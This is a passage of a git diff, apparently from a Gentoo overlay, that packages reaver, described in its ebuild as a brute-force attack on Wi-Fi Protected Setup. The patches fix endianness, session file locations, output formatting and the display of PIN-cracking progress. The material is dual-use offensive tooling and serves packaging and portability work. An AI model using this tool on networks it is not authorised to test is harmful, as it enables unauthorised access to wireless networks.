TSFT_FLAG) == TSFT_FLAG) ++ if((flags & TSFT_FLAG) == TSFT_FLAG) + { + offset += TSFT_SIZE; + } + +- if((header->flags & FLAGS_FLAG) == FLAGS_FLAG) ++ if((flags & FLAGS_FLAG) == FLAGS_FLAG) + { + offset += FLAGS_SIZE; + } + +- if((header->flags & RATE_FLAG) == RATE_FLAG) ++ if((flags & RATE_FLAG) == RATE_FLAG) + { + offset += RATE_SIZE; + } + +- if((header->flags & CHANNEL_FLAG) == CHANNEL_FLAG) ++ if((flags & CHANNEL_FLAG) == CHANNEL_FLAG) + { + offset += CHANNEL_SIZE; + } + +- if((header->flags & FHSS_FLAG) == FHSS_FLAG) ++ if((flags & FHSS_FLAG) == FHSS_FLAG) + { + offset += FHSS_FLAG; + } +@@ -196,11 +200,13 @@ int is_wps_locked() + if(header.len >= MIN_BEACON_SIZE) + { + rt_header = (struct radio_tap_header *) radio_header(packet, header.len); +- frame_header = (struct dot11_frame_header *) (packet + rt_header->len); ++ size_t rt_header_len = __le16_to_cpu(rt_header->len); ++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len); + + if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) + { +- if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON) ++ if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) == ++ __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON)) + { + if(parse_wps_parameters(packet, header.len, &wps)) + { +@@ -411,24 +417,30 @@ int associate_recv_loop() + if(header.len >= MIN_AUTH_SIZE) + { + rt_header = (struct radio_tap_header *) radio_header(packet, header.len); +- dot11_frame = (struct dot11_frame_header *) (packet + rt_header->len); ++ size_t rt_header_len = __le16_to_cpu(rt_header->len); ++ dot11_frame = (struct dot11_frame_header *) (packet + rt_header_len); + + if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) == 0) && + (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) == 0)) + { +- if(dot11_frame->fc.type == MANAGEMENT_FRAME) ++ if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE)) == ++ __cpu_to_le16(IEEE80211_FTYPE_MGMT)) + { +- auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len); +- assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len); ++ auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len); ++ assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len); + + /* Did we get an authentication packet with a successful status? */ +- if((dot11_frame->fc.sub_type == SUBTYPE_AUTHENTICATION) && (auth_frame->status == AUTHENTICATION_SUCCESS)) ++ if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) == ++ __cpu_to_le16(IEEE80211_STYPE_AUTH) ++ && (auth_frame->status == __cpu_to_le16(AUTHENTICATION_SUCCESS))) + { + ret_val = AUTH_OK; + break; + } + /* Did we get an association packet with a successful status? */ +- else if((dot11_frame->fc.sub_type == SUBTYPE_ASSOCIATION) && (assoc_frame->status == ASSOCIATION_SUCCESS)) ++ else if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) == ++ __cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP) ++ && (assoc_frame->status == __cpu_to_le16(ASSOCIATION_SUCCESS))) + { + ret_val = ASSOCIATE_OK; + break; +@@ -455,13 +467,14 @@ enum encryption_type supported_encryption(const u_char *packet, size_t len) + if(len > MIN_BEACON_SIZE) + { + rt_header = (struct radio_tap_header *) radio_header(packet, len); +- beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header)); +- offset = tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); ++ size_t rt_header_len = __le16_to_cpu(rt_header->len); ++ beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header)); ++ offset = tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); + + tag_len = len - tag_offset; + tag_data = (const u_char *) (packet + tag_offset); + +- if((beacon->capability & CAPABILITY_WEP) == CAPABILITY_WEP) ++ if((__le16_to_cpu(beacon->capability) & CAPABILITY_WEP) == CAPABILITY_WEP) + { + enc = WEP; + +@@ -509,7 +522,7 @@ int parse_beacon_tags(const u_char *packet, size_t len) + struct radio_tap_header *rt_header = NULL; + + rt_header = (struct radio_tap_header *) radio_header(packet, len); +- tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); ++ tag_offset = __le16_to_cpu(rt_header->len) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); + + if(tag_offset < len) + { +@@ -548,7 +561,7 @@ int parse_beacon_tags(const u_char *packet, size_t len) + { + if(ie_len == 1) + { +- memcpy((int *) &channel, channel_data, ie_len); ++ channel = *(uint8_t*)channel_data; + } + free(channel_data); + } +@@ -603,13 +616,13 @@ int check_fcs(const u_char *packet, size_t len) + if(len > 4) + { + /* Get the packet's reported FCS (last 4 bytes of the packet) */ +- memcpy((uint32_t *) &fcs, (packet + (len-4)), 4); ++ fcs = __le32_to_cpu(*(uint32_t*)(packet + (len-4))); + + /* FCS is not calculated over the radio tap header */ + if(has_rt_header()) + { + rt_header = (struct radio_tap_header *) packet; +- offset += rt_header->len; ++ offset += __le16_to_cpu(rt_header->len); + } + + if(len > offset) +diff --git a/src/builder.c b/src/builder.c +index 37f2de7..6bf89e7 100644 +--- a/src/builder.c ++++ b/src/builder.c +@@ -44,9 +44,8 @@ const void *build_radio_tap_header(size_t *len) + memset((void *) buf, 0, sizeof(struct radio_tap_header)); + rt_header = (struct radio_tap_header *) buf; + +- rt_header->len = sizeof(struct radio_tap_header); +- +- *len = rt_header->len; ++ *len = sizeof(struct radio_tap_header); ++ rt_header->len = __cpu_to_le16(*len); + } + + return buf; +@@ -67,9 +66,9 @@ const void *build_dot11_frame_header(uint16_t fc, size_t *len) + + frag_seq += SEQ_MASK; + +- header->duration = DEFAULT_DURATION; +- memcpy((void *) &header->fc, (void *) &fc, sizeof(struct frame_control)); +- header->frag_seq = frag_seq; ++ header->duration = __cpu_to_le16(DEFAULT_DURATION); ++ header->fc = __cpu_to_le16(fc); ++ header->frag_seq = __cpu_to_le16(frag_seq); + + memcpy((void *) header->addr1, get_bssid(), MAC_ADDR_LEN); + memcpy((void *) header->addr2, get_mac(), MAC_ADDR_LEN); +@@ -91,8 +90,8 @@ const void *build_authentication_management_frame(size_t *len) + memset((void *) buf, 0, *len); + frame = (struct authentication_management_frame *) buf; + +- frame->algorithm = OPEN_SYSTEM; +- frame->sequence = 1; ++ frame->algorithm = __cpu_to_le16(OPEN_SYSTEM); ++ frame->sequence = __cpu_to_le16(1); + frame->status = 0; + } + +@@ -111,8 +110,8 @@ const void *build_association_management_frame(size_t *len) + memset((void *) buf, 0, *len); + frame = (struct association_request_management_frame *) buf; + +- frame->capability = get_ap_capability(); +- frame->listen_interval = LISTEN_INTERVAL; ++ frame->capability = __cpu_to_le16(get_ap_capability()); ++ frame->listen_interval = __cpu_to_le16(LISTEN_INTERVAL); + } + + return buf; +@@ -133,7 +132,7 @@ const void *build_llc_header(size_t *len) + header->dsap = LLC_SNAP; + header->ssap = LLC_SNAP; + header->control_field = UNNUMBERED_FRAME; +- header->type = DOT1X_AUTHENTICATION; ++ header->type = __cpu_to_be16(DOT1X_AUTHENTICATION); + + } + +@@ -279,7 +278,7 @@ const void *build_wfa_header(uint8_t op_code, size_t *len) + header = (struct wfa_expanded_header *) buf; + + memcpy(header->id, WFA_VENDOR_ID, sizeof(header->id)); +- header->type = SIMPLE_CONFIG; ++ header->type = __cpu_to_be32(SIMPLE_CONFIG); + header->opcode = op_code; + } + +diff --git a/src/defs.h b/src/defs.h +index b2f45ea..0c628e7 100644 +--- a/src/defs.h ++++ b/src/defs.h +@@ -41,6 +41,7 @@ + #include + #include + #include ++#include + + #include "wps.h" + +@@ -65,10 +66,10 @@ + #define MANAGEMENT_FRAME 0x00 + #define SUBTYPE_BEACON 0x08 + +-#define DOT1X_AUTHENTICATION 0x8E88 ++#define DOT1X_AUTHENTICATION 0x888E + #define DOT1X_EAP_PACKET 0x00 + +-#define SIMPLE_CONFIG 0x01000000 ++#define SIMPLE_CONFIG 0x00000001 + + #define P1_SIZE 10000 + #define P2_SIZE 1000 +@@ -282,66 +283,111 @@ enum wfa_elements + WEP_TRANSMIT_KEY = 0x10064 + }; + ++#define IEEE80211_FCTL_VERS 0x0003 ++#define IEEE80211_FCTL_FTYPE 0x000c ++#define IEEE80211_FCTL_STYPE 0x00f0 ++#define IEEE80211_FCTL_TODS 0x0100 ++#define IEEE80211_FCTL_FROMDS 0x0200 ++#define IEEE80211_FCTL_MOREFRAGS 0x0400 ++#define IEEE80211_FCTL_RETRY 0x0800 ++#define IEEE80211_FCTL_PM 0x1000 ++#define IEEE80211_FCTL_MOREDATA 0x2000 ++#define IEEE80211_FCTL_PROTECTED 0x4000 ++#define IEEE80211_FCTL_ORDER 0x8000 ++ ++#define IEEE80211_SCTL_FRAG 0x000F ++#define IEEE80211_SCTL_SEQ 0xFFF0 ++ ++#define IEEE80211_FTYPE_MGMT 0x0000 ++#define IEEE80211_FTYPE_CTL 0x0004 ++#define IEEE80211_FTYPE_DATA 0x0008 ++ ++/* management */ ++#define IEEE80211_STYPE_ASSOC_REQ 0x0000 ++#define IEEE80211_STYPE_ASSOC_RESP 0x0010 ++#define IEEE80211_STYPE_REASSOC_REQ 0x0020 ++#define IEEE80211_STYPE_REASSOC_RESP 0x0030 ++#define IEEE80211_STYPE_PROBE_REQ 0x0040 ++#define IEEE80211_STYPE_PROBE_RESP 0x0050 ++#define IEEE80211_STYPE_BEACON 0x0080 ++#define IEEE80211_STYPE_ATIM 0x0090 ++#define IEEE80211_STYPE_DISASSOC 0x00A0 ++#define IEEE80211_STYPE_AUTH 0x00B0 ++#define IEEE80211_STYPE_DEAUTH 0x00C0 ++#define IEEE80211_STYPE_ACTION 0x00D0 ++ ++/* control */ ++#define IEEE80211_STYPE_BACK_REQ 0x0080 ++#define IEEE80211_STYPE_BACK 0x0090 ++#define IEEE80211_STYPE_PSPOLL 0x00A0 ++#define IEEE80211_STYPE_RTS 0x00B0 ++#define IEEE80211_STYPE_CTS 0x00C0 ++#define IEEE80211_STYPE_ACK 0x00D0 ++#define IEEE80211_STYPE_CFEND 0x00E0 ++#define IEEE80211_STYPE_CFENDACK 0x00F0 ++ ++/* data */ ++#define IEEE80211_STYPE_DATA 0x0000 ++#define IEEE80211_STYPE_DATA_CFACK 0x0010 ++#define IEEE80211_STYPE_DATA_CFPOLL 0x0020 ++#define IEEE80211_STYPE_DATA_CFACKPOLL 0x0030 ++#define IEEE80211_STYPE_NULLFUNC 0x0040 ++#define IEEE80211_STYPE_CFACK 0x0050 ++#define IEEE80211_STYPE_CFPOLL 0x0060 ++#define IEEE80211_STYPE_CFACKPOLL 0x0070 ++#define IEEE80211_STYPE_QOS_DATA 0x0080 ++#define IEEE80211_STYPE_QOS_DATA_CFACK 0x0090 ++#define IEEE80211_STYPE_QOS_DATA_CFPOLL 0x00A0 ++#define IEEE80211_STYPE_QOS_DATA_CFACKPOLL 0x00B0 ++#define IEEE80211_STYPE_QOS_NULLFUNC 0x00C0 ++#define IEEE80211_STYPE_QOS_CFACK 0x00D0 ++#define IEEE80211_STYPE_QOS_CFPOLL 0x00E0 ++#define IEEE80211_STYPE_QOS_CFACKPOLL 0x00F0 ++ + #pragma pack(1) + struct radio_tap_header + { + uint8_t revision; + uint8_t pad; +- uint16_t len; +- uint32_t flags; +-}; +- +-struct frame_control +-{ +- unsigned version : 2; +- unsigned type : 2; +- unsigned sub_type : 4; +- +- unsigned to_ds : 1; +- unsigned from_ds : 1; +- unsigned more_frag : 1; +- unsigned retry : 1; +- unsigned pwr_mgt : 1; +- unsigned more_data : 1; +- unsigned protected_frame : 1; +- unsigned order : 1; ++ __le16 len; ++ __le32 flags; + }; + + struct dot11_frame_header + { +- struct frame_control fc; +- uint16_t duration; ++ __le16 fc; ++ __le16 duration; + unsigned char addr1[MAC_ADDR_LEN]; + unsigned char addr2[MAC_ADDR_LEN]; + unsigned char addr3[MAC_ADDR_LEN]; +- uint16_t frag_seq; ++ __le16 frag_seq; + }; + + struct authentication_management_frame + { +- uint16_t algorithm; +- uint16_t sequence; +- uint16_t status; ++ __le16 algorithm; ++ __le16 sequence; ++ __le16 status; + }; + + struct association_request_management_frame + { +- uint16_t capability; +- uint16_t listen_interval; ++ __le16 capability; ++ __le16 listen_interval; + }; + + struct association_response_management_frame + { +- uint16_t capability; +- uint16_t status; +- uint16_t id; ++ __le16 capability; ++ __le16 status; ++ __le16 id; + }; + + struct beacon_management_frame + { + unsigned char timestamp[TIMESTAMP_LEN]; +- uint16_t beacon_interval; +- uint16_t capability; ++ __le16 beacon_interval; ++ __le16 capability; + }; + + struct llc_header +@@ -350,7 +396,7 @@ struct llc_header + uint8_t ssap; + uint8_t control_field; + unsigned char org_code[3]; +- uint16_t type; ++ __be16 type; + }; + + struct dot1X_header +@@ -371,7 +417,7 @@ struct eap_header + struct wfa_expanded_header + { + unsigned char id[3]; +- uint32_t type; ++ __be32 type; + uint8_t opcode; + uint8_t flags; + }; +diff --git a/src/exchange.c b/src/exchange.c +index 23c87e9..4f9a82b 100644 +--- a/src/exchange.c ++++ b/src/exchange.c +@@ -306,26 +306,27 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) + + /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */ + rt_header = (struct radio_tap_header *) packet; +- frame_header = (struct dot11_frame_header *) (packet+rt_header->len); ++ size_t rt_header_len = __le16_to_cpu(rt_header->len); ++ frame_header = (struct dot11_frame_header *) (packet+rt_header_len); + + /* Does the BSSID/source address match our target BSSID? */ + if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) + { + /* Is this a data packet sent to our MAC address? */ +- if(frame_header->fc.type == DATA_FRAME && +- frame_header->fc.sub_type == SUBTYPE_DATA && +- (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) ++ if (((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) == ++ __cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA)) && ++ (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) + { + llc = (struct llc_header *) (packet + +- rt_header->len + ++ rt_header_len + + sizeof(struct dot11_frame_header) + ); + + /* All packets in our exchanges will be 802.1x */ +- if(llc->type == DOT1X_AUTHENTICATION) ++ if(llc->type == __cpu_to_be16(DOT1X_AUTHENTICATION)) + { + dot1x = (struct dot1X_header *) (packet + +- rt_header->len + ++ rt_header_len + + sizeof(struct dot11_frame_header) + + sizeof(struct llc_header) + ); +@@ -334,7 +335,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) + if(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE)) + { + eap = (struct eap_header *) (packet + +- rt_header->len + ++ rt_header_len + + sizeof(struct dot11_frame_header) + + sizeof(struct llc_header) + + sizeof(struct dot1X_header) +@@ -366,7 +367,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) + else if((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE)) + { + wfa = (struct wfa_expanded_header *) (packet + +- rt_header->len + ++ rt_header_len + + sizeof(struct dot11_frame_header) + + sizeof(struct llc_header) + + sizeof(struct dot1X_header) + +@@ -374,14 +375,14 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) + ); + + /* Verify that this is a WPS message */ +- if(wfa->type == SIMPLE_CONFIG) ++ if(wfa->type == __cpu_to_be32(SIMPLE_CONFIG)) + { + wps_msg_len = (size_t) ntohs(eap->len) - + sizeof(struct eap_header) - + sizeof(struct wfa_expanded_header); + + wps_msg = (const void *) (packet + +- rt_header->len + ++ rt_header_len + + sizeof(struct dot11_frame_header) + + sizeof(struct llc_header) + + sizeof(struct dot1X_header) + +diff --git a/src/wpsmon.c b/src/wpsmon.c +index d976924..22a394f 100644 +--- a/src/wpsmon.c ++++ b/src/wpsmon.c +@@ -295,7 +295,8 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char * + } + + rt_header = (struct radio_tap_header *) radio_header(packet, header->len); +- frame_header = (struct dot11_frame_header *) (packet + rt_header->len); ++ size_t rt_header_len = __le16_to_cpu(rt_header->len); ++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len); + + /* If a specific BSSID was specified, only parse packets from that BSSID */ + if(!is_target(frame_header)) +@@ -323,15 +324,17 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char * + channel_changed = 1; + } + +- if(frame_header->fc.sub_type == PROBE_RESPONSE || +- frame_header->fc.sub_type == SUBTYPE_BEACON) ++ unsigned fsub_type = frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE); ++ ++ if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP) || ++ fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON)) + { + wps_parsed = parse_wps_parameters(packet, header->len, wps); + } + + if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) + { +- if(frame_header->fc.sub_type == SUBTYPE_BEACON && ++ if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON) && + mode == SCAN && + !passive && + should_probe(bssid)) +@@ -369,7 +372,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char * + * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on. + * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on. + */ +- if(!wps_parsed || frame_header->fc.sub_type == PROBE_RESPONSE) ++ if(!wps_parsed || fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP)) + { + mark_ap_complete(bssid); + } +-- +1.7.7 + diff --git a/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch new file mode 100644 index 00000000..dd1bb427 --- /dev/null +++ b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch @@ -0,0 +1,53 @@ +From cd444949f3176790101b8bdc9656831a03d8c01d Mon Sep 17 00:00:00 2001 +From: Paul Fertser +Date: Tue, 10 Jul 2012 11:13:29 +0400 +Subject: [PATCH 2/3] Use the current directory for storing and loading + sessions + +This allows the user to always explicitely choose (by changing the +current directory before launching the program) where the session +files should go. Useful e.g. to avoid hogging the precious space on +embedded devices, just cd /tmp before starting the app. + +Signed-off-by: Paul Fertser +--- + src/session.c | 16 +++------------- + 1 files changed, 3 insertions(+), 13 deletions(-) + +diff --git a/src/session.c b/src/session.c +index d3af0c3..308f213 100644 +--- a/src/session.c ++++ b/src/session.c +@@ -62,7 +62,7 @@ int restore_session() + memset(file, 0, FILENAME_MAX); + + bssid = mac2str(get_bssid(), '\0'); +- snprintf(file, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT); ++ snprintf(file, FILENAME_MAX, "%s.%s", bssid, CONF_EXT); + free(bssid); + } + +@@ -199,18 +199,8 @@ int save_session() + } + else + { +- /* +- * If the configuration directory exists, save the session file there; else, save it to the +- * current working directory. +- */ +- if(configuration_directory_exists()) +- { +- snprintf((char *) &file_name, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT); +- } +- else +- { +- snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT); +- } ++ /* save session to the current directory */ ++ snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT); + } + + /* Don't bother saving anything if nothing has been done */ +-- +1.7.7 + diff --git a/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch new file mode 100644 index 00000000..64b290b5 --- /dev/null +++ b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch @@ -0,0 +1,38 @@ +From 638bb8d70d6c7e5dc99975e0bf57d8ce0455e2cc Mon Sep 17 00:00:00 2001 +From: Paul Fertser +Date: Tue, 10 Jul 2012 11:25:00 +0400 +Subject: [PATCH 3/3] wash/wpsmon: use less useless spaces in output to fit + narrow terminals + +Signed-off-by: Paul Fertser +--- + src/wpsmon.c | 6 +++--- + 1 files changed, 3 insertions(+), 3 deletions(-) + +diff --git a/src/wpsmon.c b/src/wpsmon.c +index 22a394f..e0948b3 100644 +--- a/src/wpsmon.c ++++ b/src/wpsmon.c +@@ -262,8 +262,8 @@ void monitor(char *bssid, int passive, int source, int channel, int mode) + + if(!header_printed) + { +- cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n"); +- cprintf(INFO, "---------------------------------------------------------------------------------------------------------------\n"); ++ cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n"); ++ cprintf(INFO, "--------------------------------------------------------------------------------------\n"); + header_printed = 1; + } + +@@ -360,7 +360,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char * + break; + } + +- cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); ++ cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); + } + + if(probe_sent) +-- +1.7.7 + diff --git a/net-wireless/reaver/files/0004-wash-probe-request.patch b/net-wireless/reaver/files/0004-wash-probe-request.patch new file mode 100644 index 00000000..6cb5a678 --- /dev/null +++ b/net-wireless/reaver/files/0004-wash-probe-request.patch @@ -0,0 +1,31 @@ +diff -urN reaver-1.4/src/wpsmon.c reaver-wps-read-only/src/wpsmon.c +--- reaver-1.4/src/wpsmon.c 2012-01-18 17:02:39.000000000 +0800 ++++ reaver-wps-read-only/src/wpsmon.c 2012-10-10 06:45:52.271329168 +0800 +@@ -132,6 +132,11 @@ + usage(argv[0]); + goto end; + } ++ else if(get_iface()) ++ { ++ /* Get the MAC address of the specified interface */ ++ read_iface_mac(); ++ } + + if(get_iface() && source == PCAP_FILE) + { +@@ -300,6 +305,7 @@ + + set_ssid(NULL); + bssid = (char *) mac2str(frame_header->addr3, ':'); ++ set_bssid((unsigned char *) frame_header->addr3); + + if(bssid) + { +@@ -383,6 +389,7 @@ + + end: + if(wps) free(wps); ++ set_bssid((unsigned char *) NULL_MAC); + + return; + } diff --git a/net-wireless/reaver/files/0005-soreau-show-status-r2.patch b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch new file mode 100644 index 00000000..e55b6929 --- /dev/null +++ b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch @@ -0,0 +1,97 @@ +Index: cracker.c +=================================================================== +--- cracker.c (revision 113) ++++ cracker.c (working copy) +@@ -285,18 +285,65 @@ + } + } + ++char *get_max_time_remaining(int average, int attempts_remaining) ++{ ++ char *max_time, hours[8], minutes[3], seconds[3]; ++ int max_hours = 0, max_minutes = 0, max_seconds = 0; ++ ++ max_time = malloc(16); ++ ++ if(!max_time) ++ exit(-1); ++ ++ if(average) ++ { ++ max_seconds = attempts_remaining * average; ++ if(max_seconds > 60) ++ { ++ max_minutes = max_seconds / 60; ++ max_seconds -= max_minutes * 60; ++ } ++ if(max_minutes > 60) ++ { ++ max_hours = max_minutes / 60; ++ max_minutes -= max_hours * 60; ++ } ++ ++ if(max_seconds < 0 || max_minutes < 0 || max_hours < 0) ++ { ++ free(max_time); ++ return NULL; ++ } ++ ++ sprintf(hours, "%d", max_hours); ++ sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes); ++ sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds); ++ ++ sprintf(max_time, "%s:%s:%s", hours, minutes, seconds); ++ } ++ else ++ { ++ free(max_time); ++ return NULL; ++ } ++ ++ return max_time; ++} ++ + /* Displays the status and rate of cracking */ + void display_status(float pin_count, time_t start_time) + { + float percentage = 0; + int attempts = 0, average = 0; ++ int attempts_remaining = 0; + time_t now = 0, diff = 0; + struct tm *tm_p = NULL; +- char time_s[256] = { 0 }; ++ char time_s[256] = { 0 }, *max_time; + + if(get_key_status() == KEY1_WIP) + { + attempts = get_p1_index() + get_p2_index(); ++ attempts_remaining = 11000 - attempts; + } + /* + * If we've found the first half of the key, then the entire key1 keyspace +@@ -305,10 +352,12 @@ + else if(get_key_status() == KEY2_WIP) + { + attempts = P1_SIZE + get_p2_index(); ++ attempts_remaining = 11000 - attempts; + } + else if(get_key_status() == KEY_DONE) + { + attempts = P1_SIZE + P2_SIZE; ++ attempts_remaining = 0; + } + + percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100); +@@ -335,7 +384,12 @@ + average = 0; + } + ++ max_time = get_max_time_remaining(average, attempts_remaining); ++ + cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average); ++ cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining); + ++ free(max_time); ++ + return; + } diff --git a/net-wireless/reaver/files/0005-soreau-show-status.patch b/net-wireless/reaver/files/0005-soreau-show-status.patch new file mode 100644 index 00000000..e6f2799d --- /dev/null +++ b/net-wireless/reaver/files/0005-soreau-show-status.patch @@ -0,0 +1,97 @@ +Index: cracker.c +=================================================================== +--- cracker.c (revision 113) ++++ cracker.c (working copy) +@@ -285,18 +285,65 @@ + } + } + ++char *get_max_time_remaining(int average, int attempts_remaining) ++{ ++ char *max_time, hours[12], minutes[2], seconds[2]; ++ int max_hours = 0, max_minutes = 0, max_seconds = 0; ++ ++ max_time = malloc(16); ++ ++ if(!max_time) ++ exit(-1); ++ ++ if(average) ++ { ++ max_seconds = attempts_remaining * average; ++ if(max_seconds > 60) ++ { ++ max_minutes = max_seconds / 60; ++ max_seconds -= max_minutes * 60; ++ } ++ if(max_minutes > 60) ++ { ++ max_hours = max_minutes / 60; ++ max_minutes -= max_hours * 60; ++ } ++ ++ if(max_seconds < 0 || max_minutes < 0 || max_hours < 0) ++ { ++ free(max_time); ++ return NULL; ++ } ++ ++ sprintf(hours, "%d", max_hours); ++ sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes); ++ sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds); ++ ++ sprintf(max_time, "%s:%s:%s", hours, minutes, seconds); ++ } ++ else ++ { ++ free(max_time); ++ return NULL; ++ } ++ ++ return max_time; ++} ++ + /* Displays the status and rate of cracking */ + void display_status(float pin_count, time_t start_time) + { + float percentage = 0; + int attempts = 0, average = 0; ++ int attempts_remaining = 0; + time_t now = 0, diff = 0; + struct tm *tm_p = NULL; +- char time_s[256] = { 0 }; ++ char time_s[256] = { 0 }, *max_time; + + if(get_key_status() == KEY1_WIP) + { + attempts = get_p1_index() + get_p2_index(); ++ attempts_remaining = 11000 - attempts; + } + /* + * If we've found the first half of the key, then the entire key1 keyspace +@@ -305,10 +352,12 @@ + else if(get_key_status() == KEY2_WIP) + { + attempts = P1_SIZE + get_p2_index(); ++ attempts_remaining = 11000 - attempts; + } + else if(get_key_status() == KEY_DONE) + { + attempts = P1_SIZE + P2_SIZE; ++ attempts_remaining = 0; + } + + percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100); +@@ -335,7 +384,12 @@ + average = 0; + } + ++ max_time = get_max_time_remaining(average, attempts_remaining); ++ + cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average); ++ cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining); + ++ free(max_time); ++ + return; + } \ No newline at end of file diff --git a/net-wireless/reaver/metadata.xml b/net-wireless/reaver/metadata.xml new file mode 100644 index 00000000..a42c02e9 --- /dev/null +++ b/net-wireless/reaver/metadata.xml @@ -0,0 +1,11 @@ + + + + oleg@kaa.org.ua + Oleg Kravchenko + + + maksbotan@gentoo.org + Maxim Koltsov + + diff --git a/net-wireless/reaver/reaver-1.4-r1.ebuild b/net-wireless/reaver/reaver-1.4-r1.ebuild new file mode 100644 index 00000000..dd0eb34f --- /dev/null +++ b/net-wireless/reaver/reaver-1.4-r1.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $ + +EAPI=4 + +AUTOTOOLS_IN_SOURCE_BUILD="1" + +inherit autotools-utils eutils + +DESCRIPTION="Brute force attack against Wifi Protected Setup" +HOMEPAGE="http://code.google.com/p/reaver-wps/" +SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="net-libs/libpcap + dev-db/sqlite:3" +RDEPEND="${DEPEND}" + +S="${WORKDIR}/${P}/src" + +src_prepare() { + epatch "${FILESDIR}"/000[1-4]*.patch +} + +src_install() { + dobin wash reaver + + insinto 